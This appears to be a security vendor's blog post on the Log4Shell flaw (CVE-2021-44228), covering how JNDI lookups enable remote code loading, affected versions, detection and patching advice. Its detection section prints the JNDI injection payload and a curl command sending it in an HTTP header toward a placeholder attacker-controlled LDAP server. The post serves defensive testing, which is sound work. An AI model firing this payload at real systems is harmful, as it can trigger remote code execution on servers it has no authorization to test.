Home Vulnerabilities Log4Shell scanner: detect Log4j CVE-2021-44228 in your network and web apps

Log4Shell scanner: detect Log4j CVE-2021-44228 in your network and web apps

by Daniel Bechenea

Reading time

4 minutes

Reading Time: 4 minutes

We almost made it to a much-needed holiday break… and then Log4Shell happened.

It may seem like we just can’t have nice things in the infosec community. However, the reality is that we work with complex systems that depend on each other more than any of us is comfortable to accept.

Untitled

All that’s left to do when you have to deal with a critical vulnerability like the latest Log4j vulnerability (CVSSv3 10.0) is to mobilize your best toolset and timesaving steps. Maximum effort!  

On December 9, 2021, an ongoing attack against CVE-2021-44228 was spotted in the wild. A proof of concept was released right after that and – to the horror of the cybersecurity community – we all saw how insanely easy it is to exploit this vulnerability.

So what makes it such a massive issue? Let’s quickly go over the fundamentals.

What is Log4j?

Log4j is a widely used logging library that a lot of applications and services use and also one of several Java logging frameworks. It‘s part of Apache Logging Services, a project of the Apache Software Foundation.

Untitled

Because of its prevalent usage and the low complexity of attacking this vulnerability in Log4j – which also happens to have the highest possible risk level – the premise of a worst-case scenario is laid out.

Log4shell Attack Surface

According to this repository, the following organizations are confirmed as having vulnerable systems impacted by CVE-2021-44228:

  • Apple                
  • Tencent                
  • Steam                
  • Twitter                
  • Baidu                
  • DIDI                
  • JD                
  • NetEase                
  • Cloudflare                
  • Amazon                
  • Tesla                
  • Apache Solr                
  • Apache Druid                        
  • Apache Struts2                
  • IBM Qradar SIEM                
  • PaloAlto Panorama                        
  • ElasticSearch                
  • Ghidra        
  • Minecraft                
  • PulseSecure                
  • UniFi                
  • VMWare                
  • Blender                
  • Google                
  • Webex                
  • LinkedIn                

How the Log4shell vulnerability works

The root cause of the vulnerability is improper input validation in the JNDI functionality implemented in Apache Log4j <= 2.14.1.

A feature called “message lookup substitution”, which is enabled by default in the vulnerable versions, allows threat actors to load and execute arbitrary Java code from a remote LDAP server.

Also, multiple protocols are supported in the JNDI lookups, including LDAP, LDAPS, DNS, and RMI. Therefore, if an attacker can control the log messages and inject arbitrary code through one of the input parameters or in the HTTP headers, they can create a malicious Java class on a controlled server and force the vulnerable server to use the lookup method to execute this Java class from the LDAP/LDAPS/DNS/RMI server.

https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

Source: Swiss Government CERT

Vulnerable Log4j versions

All Log4j versions before 2.14.2 are affected.

The risk is that a remote unauthenticated attacker can fully compromise the server to steal confidential information, install ransomware, or pivot to the internal network.

How to detect Log4Shell / CVE-2021-44228 in ethical hacking engagements

To detect CVE-2021-44228, you can inject the following payload: 

${jndi:ldap://<LDAP_controlled_server>/a} in every parameter or in every HTTP header and then check if the remote logger was accessed.

You can use the following loggers: CanaryTokens or Log4shell Tester to establish if your application is vulnerable to CVE-2021-44228. 

For example, if you want to inject the payload in the “X-Api-Version” HTTP header, you can use the following request:

curl <vulnerable_IP_address>:<vulnerabe_port> -H ‘X-Api-Version: ${jndi:ldap://<LDAP_controlled_server>/a}

How to detect CVE-2021-44228 using Pentest-Tools.com

The fastest and no-hassle way to validate that CVE-2021-44228 affects your target is to run a Network Vulnerability Scan that includes Sniper’s detection modules by default. This gets you a ready-to-use report about systems in your network that are exposed to remote code execution:

Untitled

How to mitigate CVE-2021-44228

We recommend upgrading the Log4j library to at least version 2.15.0, which fixes this vulnerability.

However, patching is easier said than done for a myriad of reasons of which the infosec community is well aware. We commend incident response teams and specialists across the industry for doing their best to minimize risk and damage!

We’ll be back with updates as we continue to deliver the tools you need to do the best work you can under pressure – whether the systems you take care of are on Earth or in space!

For up to date vulnerability guidance for both defenders and offensive security teams, bookmark CISA’s advisory.

Related Posts

How we detect Log4Shell at pentest-tools.com

How we detect Log4Shell to help you find targets using vulnerable Log4j versions

detect Zoho ManageEngine ADSelfService Plus RCE

How to detect the Zoho ManageEngine ADSelfService Plus RCE (CVE-2021-40539)

0 comments

Comments